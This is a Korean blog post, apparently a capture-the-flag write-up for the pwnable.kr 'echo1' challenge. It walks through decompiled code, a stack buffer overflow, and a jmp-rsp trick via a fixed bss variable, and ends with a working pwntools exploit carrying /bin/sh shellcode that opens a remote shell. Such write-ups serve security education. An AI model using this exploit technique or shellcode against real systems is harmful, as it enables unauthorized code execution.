본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] echo1

by L3m0n S0ju 2021. 8. 8.


__int64 echo1()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(s, 128LL);
  puts(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  _QWORD v6[4]; // [rsp+10h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s");
  v3 = o;
  *(_QWORD *)o = v6[0];
  v3[1] = v6[1];
  v3[2] = v6[2];
  id = v6[0];
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  for ( i = 0; i != 121; i = getchar() )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d");
        getchar();
        if ( i > 3 )
          break;
        ((void (*)(const char *, ...))func[i - 1])("%d", &i);
      }
      if ( i == 4 )
        break;
      puts("invalid menu");
    }
    cleanup("%d", &i);
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}

 


위 코드는 문제 파일을 IDA로 디컴파일한 코드입니다. 문제 핵심 함수는 echo1입니다. get_input에서 128바이트만큼 문자를 읽어들입니다. 하지만 문자열이 저장되는 위치는 rbp-0x20이므로 128 - 0x20 = 96으로 대략 100바이트의 오버플로우가 발생합니다. 여기서 ASLR 보호기법이 적용되었다고 가정하고 문제를 풀겠습니다. ALSR 보호기법이 적용되었다면 스택의 주소는 프로그램이 시작될때 랜덤으로 설정되므로 rb0-0x20에 쉘코드를 저장하더라도 정확한 주소를 특정할 수 없습니다. 따라서 주소값이 변하지 않는 영역을 찾아야합니다. 

 

 

 

 

 

 

 


마침 id라는 변수가 bss 영역에 있습니다. 그리고 id 변수에는 처음에 입력한 이름이 저장됩니다. 따라서 id 변수에 쉘코드를 입력할 수 있습니다.

 

 

 

 


하지만 문제점이 있습니다. id 변수에는 이름을 길게 입력하더라도 4바이트만 잘라서 저장하기 때문에 쉘코드 전체를 저장할 수 없다. 따라서 다른 방법을 사용해야한다.

 

 

 


+------------------------+

|                              |

|                              |<-rsp    
|       get_input ret       |        
|       get_input sfp      |         

|           ...                 |         

|          입력값            |               

|                              |             

+------------------------+

 

위 그림은 get_input이 종료되기 직전의 스택의 상태이다. 종료되기 직전에 rip에는 ret 값이 저장되어있고 rsp는 ret보다 한칸 위에 위치하게된다. 따라서 공격 알고리즘은 다음과 같다. ret에 고정된 주소값인 id의 주소값을 입력한다. 그리고 id에는 jmp rsp라는 명령어를 입력하고 rsp가 가르키는 곳 ret 한칸 위에는 쉘코드를 입력한다. jmp rsp 크기는 2바이트이다. 버퍼오버플로우가 일어나면 아래와 같이 만들 수 있다.

 

id = jmp rsp (\xff\xe4)

 

+------------------------+

|                              |

|          쉘코드            |<-rsp    
| get_input ret -> id     |        
| get_input sfp -> aaaa |         

|           ...                 |         

|            aaaa            |               

|                              |             

+------------------------+

 

 

 

 

 

 

익스플로잇 코드


from pwn import *
 
r=remote("pwnable.kr",9010)
#e=ELF('./echo1')
context.log_level='debug'
context(arch='amd64')

def main():  
 
    id=0x6020a0
    jmp=asm('jmp rsp')

    payload=b'a'*40
    payload+=p64(id) #ret
    payload+=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 
    
    r.recvuntil("what's your name? : ")
    r.sendline(jmp) #id
    r.recvuntil('> ')
    r.sendline('1') #echo1
    r.recvuntil('\n')
    r.sendline(payload)
    r.recv()
    r.interactive()
 
if __name__ == '__main__':
    main()

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] loveletter  (0) 2021.08.13
[Pwnable.kr] dragon  (0) 2021.08.13
[Pwnable.kr] fsb  (0) 2021.08.07
[Pwnable.kr] tiny_easy  (0) 2021.08.04
[Pwnable.kr] horcruxes  (1) 2021.08.03

댓글